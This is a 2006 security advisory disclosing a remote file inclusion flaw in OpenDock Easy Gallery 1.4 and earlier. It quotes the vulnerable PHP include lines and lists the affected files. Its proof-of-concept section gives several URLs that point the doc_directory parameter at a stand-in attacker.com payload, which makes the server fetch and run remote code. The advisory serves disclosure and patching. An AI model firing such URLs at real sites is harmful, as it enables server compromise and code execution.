OpenDock Easy Gallery <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability

2006.10.13
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ECHO_ADV_52$2006 ------------------------------------------------------------------------ ----------------------- [ECHO_ADV_52$2006]OpenDock Easy Gallery <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability ------------------------------------------------------------------------ ----------------------- Author : Dedi Dwianto a.k.a the_day Date Found : October, 09th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv52-theday-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : OpenDock Easy Gallery version : <=1.4 URL : http://web.opendock.net ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ In folder sw/lib_up_file/ I found vulnerability script file.php --------------------------file.php-------------------------------------- - .... <? include $doc_directory.$path_sw."lib_up_file/lib_file.php"; include $doc_directory.$path_sw."lib_up_file/lib_form_file.php"; include $doc_directory.$path_sw."lib_up_file/lib_read_file.php"; include $doc_directory.$path_sw."lib_up_file/lib_page_file.php"; include $doc_directory.$path_sw."lib_up_file/find_file.php"; include $doc_directory.$path_sw."lib_up_file/down_stat.php"; ... ---------------------------------------------------------- Input passed to the "$doc_directory" parameter in file.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files on Files: sw/lib_user/find_user.php sw/lib_user/lib_user.php sw/lib_user/lib_form_user.php sw/lib_user/user.php sw/lib_session/find_session.php sw/lib_session/session.php sw/lib_comment/comment.php sw/lib_comment/lib_comment.php etc.. Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/find_user.php?d oc_directory=http://attacker.com/inject.txt? http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/user.php?doc_di rectory=http://attacker.com/inject.txt? http://target.com/[OpenDockEasyGallery_Path]/sw/lib_comment/comment.php? doc_directory=http://attacker.com/inject.txt? http://target.com/[OpenDockEasyGallery_Path]/sw/lib_session/session.php? doc_directory=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $doc_directory on affected files. - Turn off register_globals Timeline: ~~~~~~~ 09 - 10 - 2006 Bugs Found 09 - 10 - 2006 Vendor Contact 09 - 10 - Public Disclosure ------------------------------------------------------------------------ --- Shoutz: ~~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy My Brain ~ az001,boom_3x,mathdule,angelia ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ EcHo Research & Development Center the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------


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